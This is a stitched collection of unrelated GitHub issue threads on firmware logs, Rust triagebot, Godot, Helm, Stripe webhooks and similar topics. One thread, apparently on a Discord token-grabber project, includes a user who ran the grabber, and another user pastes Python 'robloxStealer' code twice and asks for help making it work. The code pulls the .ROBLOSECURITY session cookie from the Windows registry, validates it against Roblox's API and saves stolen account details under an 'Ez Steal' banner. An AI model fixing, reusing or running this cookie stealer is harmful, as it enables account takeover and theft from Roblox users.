[    3.032600250,7] LIBFLASH:   reading page
0x01961000..0x01962000...[    3.033912391,7]  need erase !
[    3.033913150,7] LIBFLASH: Erasing 0x1961000..01962000...
[    3.046019920,7] LIBFLASH: Writing to 0x01961000..001962000...
[    3.056795837,7] LIBFLASH: Verifying...
[    3.058110804,7] LIBFLASH:   reading page
0x01962000..0x01963000...[    3.059415278,7]  need erase !
[    3.059416015,7] LIBFLASH: Erasing 0x1962000..01963000...
[    3.071446756,7] LIBFLASH: Writing to 0x01962000..001963000...
[    3.082213923,7] LIBFLASH: Verifying...
[    3.083533976,7] LIBFLASH:   reading page
0x01963000..0x01964000...[    3.084846885,7]  same !

[snip]

On Tue, Nov 22, 2016 at 1:57 PM, Cyril Bur<EMAIL_ADDRESS>wrote:

On Mon, 2016-11-21 at 17:41 -0800, Joel Stanley wrote:

The prlogs look a bit strange these days. See skiboot-5.4.0 booting
for the first time on a Palmetto below.
We should create a pre-initialised NVRMA partition in the PNOR to
save us doing this at boot.
The downside of that would be we don't test this code path as often.
Do we have some tests that make sure skiboot's NVRAM always works?

Alternatively, we could change the loglevels of the really repetitive
ones. Keeping in mind they are already be PR_DEBUG, so they shouldn't
be appearing in production systems. After the first boot seeing all
that with PR_DEBUG on is actually a sign things have gone bad and we
probably want to see it all.

Yep, I'm not saying we should removing anything. Just fix them up now
that we have timestamp prefixes.
You're correct that they don't appear on the console. They do appear
in the skiboot log.

Looks like e50e239b75c38efc084aec21969d7060bf6a2e29 moved all the libflash output to PR_TRACE. I've sent a patch to fix the line continuation problem, but I think we can close this.


Update the contents of Contributing.MD with ContributionGuideline.MD and delete the latter

Self Explanatory!

@smaranjitghose Can I take up this issue?

@smaranjitghose Can I take up this issue? I'm a GSSOC participant.

Try to wrap up asap. This is a fairly simple issue

@smaranjitghose Should I keep the Open Source Program grading part of contributing.md?


Assign a random team member on r? @rust-lang/

Attemps to close #187.

@LeSeulArtichaut this would be great to have! Are you planning on getting back to this?

This depends on whether @Mark-Simulacrum wants to proceed with https://github.com/rust-lang/triagebot/pull/433 first, but as that PR encountered some difficulties, maybe this can be revisited?

Yeah, this seems like the right approach in the interim while we wait for GitHub to resolve the problems preventing full rollout of r? for assignment in triagebot. From a quick scroll through it looks like this wants to add team groups for the existing teams (probably at least libs and compiler perhaps?) to the real files too? I guess we can do that in follow-up PRs.

This code looks really bad, I wonder who wrote it...

From a quick scroll through it looks like this wants to add team groups for the existing teams (probably at least libs and compiler perhaps?) to the real files too? I guess we can do that in follow-up PRs.

If I understand the code correctly, it first checks if a group matches the team name, so in r? @rust-lang/libs it's going to check if libs exists :
groups.get(match.group(2))

before checking if rust-lang/libs exists :
potential = groups.get("%s/%s" % (match.group(1), match.group(2)))

So I think we don't need to change the data files, because these teams already exist in https://github.com/rust-lang/highfive/blob/f7434f5b191f65b08c0faf35301f0edc585f75dd/highfive/configs/rust-lang/rust.json#L2-L12

I would love to see this feature added. Is there anything I can do to help get this merged? I see this needs a rebase and maybe another review?

Rebased.

@Mark-Simulacrum I think this is good to go if you want to take a look. 🙂


Automatic change to "2D" from "Script" when executing

Godot version
3.3.2 stable oficial
System information
win10 64
Issue description
I have the "Script" window active, from there I press F5 and Godot executes, everything is correct.
So I activate the "2D" window and move my character.
I activate the "Script" window again and execute.
Godot now automatically activates the "2D" window when you execute.
Steps to reproduce

Check that running from "Script" (press F5) everything works correctly.
Now switch to "2D" and move the character a bit
Go back to "Script" and run again.
Check if Godot automatically switches to "2D"
Minimal reproduction project
testBugGodot.zip

This is a duplicate of another issue, but I can't find it right nosw.

I can't either, though it's likely the other one mentions 3D and not 2D (it occurs for both)

did they try to reproduce the problem?
I think it has something to do with the character script assignment.

I am not the OP, but I can tell you it occurs in my 3D project AND in my 2D project.

perfect, hopefully they can fix it soon

This does not happen in v3.5.rc8.official [516d6b6ba]


q

@Momami Please sign the Contributor License Agreement!
Click here to manually synchronize the status of this Pull Request.
See the FAQ for frequently asked questions.


I need an answer

Is it bad that i ran the script on my pc without a VM?

how do i make it not run on startup?

now discord doesnt work

im a idiot

not sure what you mean. Can you explain?

The script is safe (knowing that you build it).
Check the end of the readme to remove the grabber (from startup too).

ok thanks

i needed to reinstall discord because it kept popping up with a js error when i tryed to run it

i also want help with this, i skimmed though the code for a roblox token logger this was the code i found and am trying to get working but it only prints 2,4,3 in that order
`import subprocess
import re
import os
import json
class utils:
def robloxStealer(self, cookies= []) -> None:
robloxcookies = list()
def check(cookie):
headers = {'Cookie' : '.ROBLOSECURITY=' + cookie}
try:
r = json.loads(self.http.request('GET', 'https://www.roblox.com/mobileapi/userinfo', headers= headers).data.decode())
except json.JSONDecodeError:
return
data = f'Username: {r["UserName"]}\nUserID: {r["UserID"]}\nRobux: {r["RobuxBalance"]}\nBuilders Club Member: {r["IsAnyBuildersClubMember"]}\nPremium: {r["IsPremium"]}\nThumbnail: {r["ThumbnailUrl"]}\n\nCookie: {cookie}'
robloxcookies.append(data)
    print("4")
    temp = ['\n'.join(cookies)]
    for i in ('HKCU', 'HKLM'):
        rbxcmd = subprocess.run(f'powershell Get-ItemPropertyValue -Path {i}:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY', capture_output= True, shell= True)
        if not rbxcmd.returncode:
            temp.append(rbxcmd.stdout.decode(errors= 'backslashescape'))
    for i in temp:
        for j in re.findall(r'_\|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items\.\|_[A-Z0-9]+', i):
            check(j)
    print("3")
    if robloxcookies:
        print("5")
        division = '\n\n' + 'Ez Steal'.center(50, '=') + '\n\n'
        filename = "Roblox Cookies.txt"
        file_path = os.path.join(os.getcwd(), filename)
        print("1")
        with open(file_path, 'w', encoding= 'utf-8', errors= 'ignore') as file:
            file.write((division).join(robloxcookies))
            file.flush()  # make sure that data is written to the file
        file.close()  # close the file properly
        self.collection['Roblox Cookies'] += len(robloxcookies)

print("2")
instantiate object of class 'utils'
utils_obj = utils()
call the 'robloxStealer' method on the object
utils_obj.robloxStealer()`

i also want help with this, i skimmed though the code for a roblox token logger this was the code i found and am trying to get working but it only prints 2,4,3 in that order
`import subprocess import re import os import json
class utils: def robloxStealer(self, cookies= []) -> None: robloxcookies = list() def check(cookie): headers = {'Cookie' : '.ROBLOSECURITY=' + cookie} try: r = json.loads(self.http.request('GET', 'https://www.roblox.com/mobileapi/userinfo', headers= headers).data.decode()) except json.JSONDecodeError: return data = f'Username: {r["UserName"]}\nUserID: {r["UserID"]}\nRobux: {r["RobuxBalance"]}\nBuilders Club Member: {r["IsAnyBuildersClubMember"]}\nPremium: {r["IsPremium"]}\nThumbnail: {r["ThumbnailUrl"]}\n\nCookie: {cookie}' robloxcookies.append(data)
    print("4")
    temp = ['\n'.join(cookies)]
    for i in ('HKCU', 'HKLM'):
        rbxcmd = subprocess.run(f'powershell Get-ItemPropertyValue -Path {i}:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY', capture_output= True, shell= True)
        if not rbxcmd.returncode:
            temp.append(rbxcmd.stdout.decode(errors= 'backslashescape'))
    for i in temp:
        for j in re.findall(r'_\|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items\.\|_[A-Z0-9]+', i):
            check(j)
    print("3")
    if robloxcookies:
        print("5")
        division = '\n\n' + 'Ez Steal'.center(50, '=') + '\n\n'
        filename = "Roblox Cookies.txt"
        file_path = os.path.join(os.getcwd(), filename)
        print("1")
        with open(file_path, 'w', encoding= 'utf-8', errors= 'ignore') as file:
            file.write((division).join(robloxcookies))
            file.flush()  # make sure that data is written to the file
        file.close()  # close the file properly
        self.collection['Roblox Cookies'] += len(robloxcookies)

print("2")
instantiate object of class 'utils'
utils_obj = utils()
call the 'robloxStealer' method on the object
utils_obj.robloxStealer()`

I didn't understand what you said and what help you want from me. Please elaborate your question.


Cached result size longer than expected

While studying the code I came across a use case which displayed behaviour I wasn't expecting. I was wondering if it was by design or something that went unnoticed.
Steps to reproduce

Repeat the string 'a', 3 times
Repeat the string 'a', 5 times

The unexpected behaviour
The result outputted by repeat-string is correct for both calls. The unexpected behaviour is in the value of res after the second call to repeat-string. I was expecting this to be aaaaa (5 times) but its value was aaaaaaaa (8 times).
Source of the unexpected behaviour
The reason the value of res was different than expected is because the method doesn't take into account the current length of the cached string when it starts the while loop. It just starts with num = 5 and performs the while loop until the size of res exceeds the length of the string to return.
Possible solution
A possible solution would be to check if the length of the result string is bigger than the current size of the cached string. When this is the case the value of num should be adjust so it only covers the difference between the length of the current cached string and the length of the result string.
if (res.length < max) {
    num = (max - res.length) / str.length;
}

I've benchmarked repeat-string with this change in combination with pad-left and the performance hit is negligible. It could however help to keep the memory footprint smaller by making sure the cached result is never longer than the longest requested string.
I am really not sure if it would make any difference at all in the real world, it was just something that sparked my interest.

To clarify, is the actual result incorrect, or just the cached value of res before it's returned and sliced by substr?

The actual result is fine, exactly as expected. It is only the internal value of res which was different from what I was expecting.

I think it's fine, mainly because we don't know what the next requested length will be - or if there will be one, so we're incurring a penalty on the current function call (even if it is negligible).
maybe we could do something like this:
res = res.substr(0, max);
return res;

Which shouldn't incur any penalty at all, and at least sets the cache to the returned value

Btw, you should see the difference caching makes with compiling regexes. Like if you have a function that does this:
var regex = new RegExp('foo' + something + 'bar')`;

Then use an object to cache something with the compiled regex.

closed since the pr was merged


Add Solace bindings and extension fields

Add Solace bindings and extension fields
The purpose of this change is to allow the parser to handle solace bindings (new) and extension fields of the form x-my-extension-field in the spec files
Changes

Added capability to handle extension fields in objects as properties lists

See com.asyncapi.v2.model.info.Info.java for an example
any unknown field will attempt to be added as a string property
e.g. x-ep-my-property
There is no validation on the field names: yy-my-property will also be accepted

added "solace" bindings

com.asyncapi.v2.binding.solace for examples

Project config changes
Includes update to Java11
It can be downgraded back to Java 8, but would need to be re-tested

Updated all pom versions to 1.0.0-EAP-1 -> 1.0.1-EAP-1
Updated java.version 8 -> 11
Updated jackson.version 2.13.2 -> 2.13.3
kotlin.version 1.6.20 -> 1.7.10
dokka.version 0.10.1 -> 1.7.0
maven-source-plugin 2.2.1 -> 3.2.1
maven-javadoc-plugin 2.9.1 -> 3.3.2

ToDo:

Dependency stanza in README.md files should be updated to SemVer 1.0.1-EAP-1
Class SchemaGeneratorMojo not found

Hi @dennis-brinley,
Thanks for your awesome PR. Will merge it in this month


chore: Uses pip-tools and dependabot to manage dependencies and versions

Description

Removes renovate and replaces it with dependabot to automate dependency version updates
Replaces requirements.txt files with requirements.in, requirements.txt is generated using pip-tools"
Removes pinned dependency from tox.ini.

Files were generated using the following commands:

pip-compile requirements.in
pip-compile test-requirements.in -c requirements.txt

Checklist

[x] My code follows the style guidelines of this project.
[x] I have performed a self-review of my own code.
[ ] I have made corresponding changes to the documentation.
[ ] I have added tests that validate the behaviour of the software.
[x] I validated that new and existing unit tests pass locally with my changes.
[x] Any dependent changes have been merged and published in downstream modules.
[ ] I have bumped the version of any required library.

Lint checks will be fixed once #100 is merged.


update robots.txt

:tada: This PR is included in version 1.4.20 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Coveralls for coverage

Links with coveralls to record the code coverage of Aux.

Changes Unknown when pulling d7d2aec22c76bf375410922eb67364bac61ceab2 on nick/coveralls-for-coverage into ** on master**.


[BUG] settings are not applied if no folder or workspace is opened

If a single file is opened without any folder or workspace, flake8.args or flake8.severity settings are not applied. Not sure if other settings are also not applied or not.
Please refer to the minimal working example below.
settings.json:
{
    "flake8.args": [
        "--extend-ignore=F841",
    ],
    "flake8.severity": {
      "F": "Warning"
    },
}

a.py:
def func():
    a = 10  # still displays an F841 error

Oops, duplicate issue. Sorry.


Patriot 8GB Express USB 3.0

Hello guys,
I wonder if the model below, it will run the code.
http://www.americanas.com.br/produto/111991151/pen-drive-8gb-patriot-express-usb-3.0?epar=buscape&opn=YYNKZB&loja=02&s_term=YYNKZB#productdetails
http://www.shoptime.com.br/produto/111991151/pen-drive-8gb-patriot-express-usb-3.0?opn=BUSCAPE&loja=01&epar=4024&s_term=BUSCAPE
For I saw the "Patriot Supersonic Xpress 8GB * (Almost all are now in 2307 on Amazon [bought 9 from 9 all sellers])" and was in doubt.
Is there any way to know whether it will work, the bar code?<PHONE_NUMBER>28)
And the only ones found in Brazil.

https://goo.gl/NisgFx


toCode and fromCode should be inverse operations

So, I saw that toCode and fromCode are not inverse operations. According to the docs, toCode uppercases things for use with the keyboard. I think that this makes no sense. If you really want a function to work to the keyboard, there should be one called toKeyboardCode because from the names, it would seem that toCode and fromCode are inverses.
I found this out as I was testing the core library with elm-check and with this property:
property "Converting to Unicode and back" (\c -> Char.fromCode (Char.toCode c) == c) generator

I got the following errors:
Converting to Unicode and back has failed with the following input: "z"
Converting to Unicode and back has failed with the following input: "ú"
Converting to Unicode and back has failed with the following input: "ő"
Converting to Unicode and back has failed with the following input: "ɀ"
Converting to Unicode and back has failed with the following input: "ɡ"
Converting to Unicode and back has failed with the following input: "ͅ"
Converting to Unicode and back has failed with the following input: "α"
Converting to Unicode and back has failed with the following input: "ё"
Converting to Unicode and back has failed with the following input: "ԑ"
Converting to Unicode and back has failed with the following input: "հ"
Converting to Unicode and back has failed with the following input: "ᵹ"
Converting to Unicode and back has failed with the following input: "ṑ"
Converting to Unicode and back has failed with the following input: "ὑ"
Converting to Unicode and back has failed with the following input: "ⅰ"
Converting to Unicode and back has failed with the following input: "ⓠ"
Converting to Unicode and back has failed with the following input: "ⱀ"
Converting to Unicode and back has failed with the following input: "ⱡ"
Converting to Unicode and back has failed with the following input: "ⳑ"
Converting to Unicode and back has failed with the following input: "ⴑ"
Converting to Unicode and back has failed with the following input: "ꙑ"
Converting to Unicode and back has failed with the following input: "ꜧ"
Converting to Unicode and back has failed with the following input: "ﬀ"
Converting to Unicode and back has failed with the following input: "ｚ"
Converting to Unicode and back has failed with the following input: "z"
Converting to Unicode and back has failed with the following input: "ú"
Converting to Unicode and back has failed with the following input: "đ"
Converting to Unicode and back has failed with the following input: "ő"
Converting to Unicode and back has failed with the following input: "ơ"
Converting to Unicode and back has failed with the following input: "ǡ"
Converting to Unicode and back has failed with the following input: "ʀ"
Converting to Unicode and back has failed with the following input: "ͅ"
Converting to Unicode and back has failed with the following input: "ΐ"
Converting to Unicode and back has failed with the following input: "α"
Converting to Unicode and back has failed with the following input: "а"
Converting to Unicode and back has failed with the following input: "ѡ"
Converting to Unicode and back has failed with the following input: "ґ"
Converting to Unicode and back has failed with the following input: "ⅰ"
Converting to Unicode and back has failed with the following input: "ꞗ"
Converting to Unicode and back has failed with the following input: "z"
Converting to Unicode and back has failed with the following input: "đ"
Converting to Unicode and back has failed with the following input: "ԫ"
Converting to Unicode and back has failed with the following input: "ԫ"

Notice how it fails with the letter z (the first input in the sequence).

I'd really like a toCode that doesn't convert to uppercase, at least as an option. I'm right now trying to write a text rendering thing in elm-webgl and all my text comes out uppercase all the time because of this.

I believe the upper-casing is removed on the master branch, not sure if that resolves all of this.

https://github.com/elm-lang/core/pull/134 solved this problem. toCode now doesn't convert to uppercase which is exactly what we wanted and how it should've been and now all is good. :smile:

Don't you mean #50 solves this problem?

Probably. I just saw that the problem was solved in the merged PR and was super happy so I closed it. I didn't look too much into the history behind the fix, sorry.

No worries, but I think it would be clearer to to report bugs against the master branch if you are able.


Suggestions are not user friendly to enter house number

Start typing street name:

and in order to enter house number, you should finish all street name (suggestion makes no sense as clicking on it only street will be entered). i.e. "Perku 4" will not work.
The only workaround is to start type from house number: "4 P" gives good suggestions.
How suggestions should work?

O neveikia kaip mapsu appsai, kad pradedi typinti, ismeta teisinga gatves pavadinima, tada pasispaudi ir iterpi numeri. nera labai patogu, bet patogiau atvirai ir nesu maciusi.


fix title and link to the project

The default "Equinix Labs" title and links to equinix-labs-workshop are used in the project. Replace this with titles and links that refer to this project and its contents

Fixed by #6 and cf86d85 (I used the inline editor and accidentally committed to main rather than opened as PR)
Also see #5 which was related nav bar clean-up.


bug: Docs still recommends ELT command

I updated the title for this issue to make it more general, we still recommend the elt command a lot in the docs when run would be better.

Replicate data - https://docs.meltano.com/guide/integration
Orchestrate - https://docs.meltano.com/guide/orchestration
Getting started guide - https://docs.meltano.com/getting-started/#schedule-pipelines-to-run-regularly
etc.

Orignal description

The getting started guide still recommends using the legacy extractor/loader/transform=skip syntax for scheduling pipelines.
https://docs.meltano.com/getting-started/#schedule-pipelines-to-run-regularly
The orchestrate data guide is updated to use job/task syntax https://docs.meltano.com/guide/orchestration.
Related to slack thread https://meltano.slack.com/archives/CMN8HELB0/p1670337451689919. We should update the GSG to use the new syntax because some users are getting confused with the mix of elt/run syntax.

cc @sbalnojan

FYI @sbalnojan @afolson

@tayloramurphy @sbalnojan I updated this issue because its more widespread than just the getting started guide. I think this is urgent from my view.
I would expect new users at this point to basically be unaware of the elt command because run is preferred. Maybe I'm wrong in that assumption. If I'm not then we should make the docs reflect it. It feels painful to see new users start their project with elt.

@pnadolny13 @tayloramurphy Sadly I agree :-/ I keep on stumbling over a lot of people who think the elt command is the command to use meltano. And I'm having a hard time saying "please don't use that" because it's quite widespread.

@sbalnojan @pnadolny13 to be clear, we're not deprecating the elt command so it's not necessarily a bad thing that folks are using it.
That said, we can likely reframe elt as useful for more advanced users as there are things you can do with elt that you can't do with run. (We've also talked about renaming this to just el in a future major release). So I'm supportive of reworking the docs to guide users to meltano run as it's broadly more powerful for ELT+.

It feels painful to see new users start their project with elt

Agreed - it should be on run. I just want us to be considered about how and where we talk about the elt command.

@tayloramurphy yeah I like that framing, meltano run is the preferred flexible command by default but if you need some of the el specific features that arent supported by run then users can fall back to elt.
@sbalnojan I can explore a bit more but I linked most of the main ones I saw in the description of this issue https://github.com/meltano/meltano/issues/7052#issue-1479390640.

Ok so let's make this concrete, based on the data I would suggest a reasonable action is to:

Get rid of all meltano ELT in the getting started complete guide (that's just a small task, it's only mentioned on the sidelines)
Rewriting the Replicate Data piece to completely meltano run only.
Removing the meltano elt mentions inside the Orchestrate Guide.

That's very much the 20% for 80% of the benefit.

@pnadolny13 @afolson @tayloramurphy  I've provided a PR.

@sbalnojan yeah good point the complete tutorial is mostly converted. I'd say this section where we recommend the elt-esque scheduling syntax is probably the only thing we'd probably want to update https://docs.meltano.com/getting-started/#schedule-pipelines-to-run-regularly.

@pnadolny13 good point, that part I didn't find by looking for "meltano elt" :-D

Closed by https://github.com/meltano/meltano/pull/7301


why production css is not uglify???

npm run build  .....

why production css is not uglify???
thanks for all help

optimize-css-assets-webpack-plugin

Thanks, I've added this plugin into the template itself.


PLI COPYBOOK parsing issue

Development environment used

Z Open Editor version:
Editor Platform

[x] Visual Studio Code
[ ] Red Hat CodeReady Workspaces
[ ] Eclipse Che
[ ] Standalone Theia

Editor Platform Version:
Operating System (on which VS Code runs such as Windows 10 2004, otherwise name and version of platform such as OpenShift v4.3): WIN 10 Enterporse 10.0.19042 Build 19042
Java Version (when using VS Code or Theia, execute java -version and paste the details here):
"zopeneditor.JAVA_HOME": "C:\xxxxxxx\java\jdk-11.0.2",
[ ] Related to RSE API?

RSE API Plugin version:
Zowe CLI version: 6.37.0
Node.js version: 14.15.3

Logs attached (see here how to get them): yes

Problem Description
Detailed steps for reproducing the problem:
Taking this dummy source:
 XNAMEXX: PROC OPTIONS(MAIN);

 dcl Infile file record input;

 DCL InfileEnv  char(4);
 InfileEnv = FILEDDINT(Infile,'RECSIZE');              /* xxxxx */

 DCL InFileRecl DEC FIXED(3) INIT(123);

 %include KTEST2;

 DCL TESTRESULT BIT('0'B);

 OPEN FILE(INFILE);
 CLOSE FILE(INFILE);

 TESTRESULT = TESTPROC('Y','1'B);

 TESTPROC: PROC(YY,XX) RETURNS(BIT(1));
    DCL YY CHAR(1);
    DCL XX BIT(1);
    RETURN(XX);
 END TESTPROC;

 END XNAMEXX;

First step

Observed behavior
Yields to:

Expected behavior
Formating should be shown like in the host file...
Copybook:
ktest2.txt
In the copybook all pre processor variables are removed. They are mainly used to differ the needs for "caller" and "called", without the pre processor statements this seems confusing. But the parsing does not work here like expected.
Thanks!

"packed" pds member ?
Packed data sets

Hi @FALLAI-Denis both no, but thank you for taking you time looking into that!

FB or VB pds?

FB 80, PO

If the files are very long we cut them off to not slow down the UI, but when that happens they should still render correctly, which we need to investigate.

Fixed in Z Open Editor v2.0.0


Having issue with Weather maps Displaying

I have edited the API Keys file and inserted the required API keys.  However when I run the clock it loads the clock page, but the forecasts and maps are blank (no map, no radar).  I've looked in the Logs but see no errors.  I have included the log file here.  I cant seem to locate in the Code where the Radar maps are processed.  I'm not an expert Python programmer
PyQtPiClock3.log

PiClock3 is only partially complete.   The framework is done, but only the clock (Analog, Digital plugins), sunrise/sunset/moonphase (Astral plugins), date at the top (Date plugin) and current conditions (METAR plugin) modules are complete.   It is working for you as expected.   I was last working on radar on my local commits, but there were some major bugs so I didn't want to push that yet.   The plugin section of the Config will show you what's enabled.   No Radar, No Forecast plugins are activated (nor do those folders exists in the source tree).

I've updated the Readme page of PiClock3 to reflect what is complete.

Thanks....  Yes.  Everything you mentioned is working well....  I'll monitor here for updates.   Thanks for all the hard work


Really support python 3.9

We currently use traceback.format_exception(exception) which only works since python 3.10. Tests did not catch it since this exception formatting probably is not actively checked by any test.

@NMAC427 I am thinking about creating our own format_exception function in utils which calls format_exc() for 3.9. This ugly hack will phase out once we don't support python 3.9 any more. Alternatively we could call format_exc() also for python 3.10/3.11.

Maybe format_exc() is still the easy solution for now...


add trigonometry verification for double-double

Looks like the arc[sin/cos/tan] functions are incorrect. Need to expand verification.

fixed with commit https://github.com/stillwater-sc/universal/commit/d5f8ec2e122ed6c2503f047a64632f3ab71dda21


Horizontal scroll is very difficult to use for Python API docs

We generate Python defs as one long line, which makes horizontal scrolling quite extreme.
For instance, go to https://www.pulumi.com/docs/reference/pkg/openstack/compute/instance/, and check out the "Create an Instance Resource" signature for Python:

It just keeps going...

...and going...

... and going...

... and going ....................
It feels like some linebreaks and whitespace would go a long way to improving the usability here.

We'll address this by adding linebreaks/whitespace for the args, as well as showing the new ResourceArgs overload.


RollingUpdate: readObjectStart: expect { or n, but found t, error found in #10 byte of

Is this a request for help?: No

Is this a BUG REPORT or FEATURE REQUEST? (choose one):  BUG REPORT

Version of Helm and Kubernetes:
helm version
Client: &version.Version{SemVer:"v2.10.0", GitCommit:"9ad53aac42165a5fadc6c87be0dea6b115f93090", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.12.3", GitCommit:"eecf22f77df5f65c823aacd2dbd30ae6c65f186e", GitTreeState:"clean"}
Which chart:
charts/stable/jenkins
version: 0.32.1
What happened:
When Jenkins is deployed with .Values.Persistence.Enabled set to false, the deployment fails with this error message:
Error: release testing-udm-jenkins-66-dn failed: Deployment in version "v1" cannot be handled as a Deployment: v1.Deployment: Spec: v1.DeploymentSpec: Strategy: v1.DeploymentStrategy: RollingUpdate: readObjectStart: expect { or n, but found t, error found in #10 byte of ...|gUpdate":true,"type"|..., bigger context ...|dn-jenkins-master"}},"strategy":{"rollingUpdate":true,"type":"RollingUpdate"},"template":{"metadata"|...
What you expected to happen:
The deployment finishs SUCCESS
How to reproduce it (as minimally and precisely as possible):
Setting the .Values.Persistence.Enabled to false
Anything else we need to know:
This change "https://github.com/helm/charts/commit/07fc9dbdef1d658eec3cad50de718662381dfe9c" breaks the deployment.
rollingUpdate: {{ if .Values.Persistence.Enabled }}{{ else }}true{{ end }}
.spec.strategy.rollingUpdate is a dictionary and the change sets a boolean.

Duplicate of #11423

Hey @xrobeva,
Can this issue be closed?

Yes, you can.
Our deployment is already working
Thanks

Go ahead and close it :)


Add  to index

Currently it's running in quirks mode, and when standards mode is enabled the CSS breaks.

Which CSS breaks?

Seeing it yourself is probably easier than describing (just paste the doctype at the top of index.html)
Seemingly several bits seem to  break - it seems to be something to do with .cards-pfwhich is overriding the background colours for every element.
If you force with body { background: #363636 !important } you see the expected patterns (nice colour!). But obviously not a proper fix.
I’m still not completely familiar with the CSS debugger; been trying to trace the culprit more accurately.

On 16 Feb 2017, at 12:36, Eric Wittmann<EMAIL_ADDRESS>wrote:
Which CSS breaks?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/apiman/apiman-studio/issues/38#issuecomment-280319261, or mute the thread https://github.com/notifications/unsubscribe-auth/AAZ2Wc_8ugZns1neAqP1LdQn_3VEj_u7ks5rdEK7gaJpZM4MC08E.

I don't see any problems with background colors when I switch to standards mode.  With the exception of the login screen, which does break.
However, there ARE some problems that I do see.  Fortunately all the work I did on the static mockups were using standards mode.  So there shouldn't be TOO many issues since I mostly just copied that markup over when doing the angular2 impl.

Oh, indeed, I was mainly talking about the logon screen.

On 16 Feb 2017, at 13:12, Eric Wittmann<EMAIL_ADDRESS>wrote:
I don't see any problems with background colors when I switch to standards mode. With the exception of the login screen, which does break.
However, there ARE some problems that I do see. Fortunately all the work I did on the static mockups were using standards mode. So there shouldn't be TOO many issues since I mostly just copied that markup over when doing the angular2 impl.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/apiman/apiman-studio/issues/38#issuecomment-280326524, or mute the thread https://github.com/notifications/unsubscribe-auth/AAZ2WRUA5SRZiVRbnZnjzktISQUuHa78ks5rdEswgaJpZM4MC08E.


switch config times to durations

rename server_timeout_secs to client_timeout
rename products:refresh_rate_mins to products:refresh_rate
change both config elements to duration types
closes #149

Codecov Report

Merging #151 into master will decrease coverage by 1%.
The diff coverage is 58%.

@@          Coverage Diff           @@
##           master   #151    +/-   ##
======================================
- Coverage      81%    80%   -<1%
======================================
  Files          14     14
  Lines        1315   1324     +9
======================================
+ Hits         1055   1058     +3
- Misses        164    168     +4
- Partials       96     98     +2

Impacted Files
Coverage Δ

adapter/product/products.go
0% <0%> (ø)
:arrow_up:

adapter/adapter.go
89% <67%> (-1%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update af2fb72...f72b039. Read the comment docs.


Multiple files in torrent?

Is there a way to choose which one I want to watch?
Tried next/previous in VLC

cliflix uses webtorrent-cli under the hood for streaming torrents to apps, and it looks like it has a --select option for selecting a specific file to stream.
In order to enable this you should call cliflix with cliflix -- --select, then when the list of files will be outputted you'll have to pick an index, for instance 4, and call cliflix again with cliflix -- --select 4


Building OpenCVSharpExtern

Summary of your issue
Hello Shimat, Much appreciate your effort. I was trying to add CUDA and building OpenCVSharpExtern based on your instructions. However I find the following issue. Any idea to fix it. :(
Environment
WIN10
VS2019
NVIDIA CUDA  GeoForce 1080Ti
CUDA tool kit 10.2
DNN 7.6.5
CMAKE
What did you do when you faced the problem?
I tested C++ projected properties with VC++ Directories for include and lib
also added both static opencv lib and cudnn, cudart in additional dependencies.
Example code:

paste your core code

Output:

paste your output

What did you intend to be?

You need to build OpenCV .lib files by yourself with the CUDA option enabled (-D WITH_CUDA=ON).
https://github.com/shimat/opencv_files#build-for-windows
https://github.com/shimat/opencv_files/blob/master/build_windows.ps1#L18

Hi Shimat, I followed the Steps as you mentioned:

Use VS2019
Installed CUDA 10.2 and set as default CUDA path
All the input/lib/bin files from CuDNN, CUDA SDK are placed at respective path of CUDA 10.2 directory.
Downloaded both latest opencv and contrib files.
Run CMAKE with

D WITH_CUDA=ON
-D WITH_CUDNN=ON

Both CUDA and CUDNN resulted as "Yes'
It generates OpenCV solutions. Rebuild INSTALL project.
It generates include files (lib/dll)
Included and Linked the respective files in C++ project by considering properties and Build with release/x64 mode. and added all opencv and cuda libraries in the linker input.
No such common linker errors
only some functional errors from cuda arithmetic header file.  it seems it can't identify methods like 'remap', 'size', 'threshold' etc.

I am almost close to build it. but these few errors ar ekilling my time like anything. several time tried with different version.  no luck.
Any tips? appreciate it.


dependency issue on DotNext.Net.Cluster 4.12.2

Building with version 4.12.2 of DotNext.Net.Cluster fails with:
Severity	Code	Description	Project	File	Line	Suppression State
Error	CS1705	Assembly 'DotNext.Net.Cluster' with identity 'DotNext.Net.Cluster, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=c8827b44e18fe572' uses 'DotNext, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=c8827b44e18fe572' which has a higher version than referenced assembly 'DotNext' with identity 'DotNext, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=c8827b44e18fe572'	LoopComponents	C:\Users\fredd\source\repos\CA_LoopCode\LoopComponents\CSC	1	Active

It seems that even though 4.12.2 is only released for DotNext.Net.Cluster, the build still uses the 4.12.2 for the dependencies.

Add DotNext core library with 4.12.2 to your csproj explicitly.

To make it just works, I can publish all upgraded dependencies.

Fixed in 4.12.3.

great, thanks!


Problem with Stripe webhook

I got a mail from Stripe and they are having trouble delivering webhooks to my test webhook handler. I got HTTP status code of 403 when I test it.
Response:
Forbidden (403)
CSRF verification failed. Request aborted.
You are seeing this message because this HTTPS site requires a 'Referer header' to be sent by your Web browser, but none was sent. This header is required for security reasons, to ensure that your browser is not being hijacked by third parties.
If you have configured your browser to disable 'Referer' headers, please re-enable them, at least for this site, or for HTTPS connections, or for same-origin' requests.
How can I fix this problem?

in your controller, put:
protect_from_forgery except: :action_name

@catherinetenajeros wow, it's embarrassing that it's been 2+ years and I haven't responded to you. Many apologies.
The webhook view should not require CSRF tokens so I'm not sure what was going on. I doubt you are still having the problem at this point but if you are and still want my help, please reopen this issue with the link (relative is fine) you have configured in Stripe as well as your urls.py include. It sounds like it might be pointing to a different url.

FWIW, I got here via Google because I thought I was experiencing this too. If it helps anyone, I had forgotten to add "/payments/webhook/" to my endpoint in Stripe :)


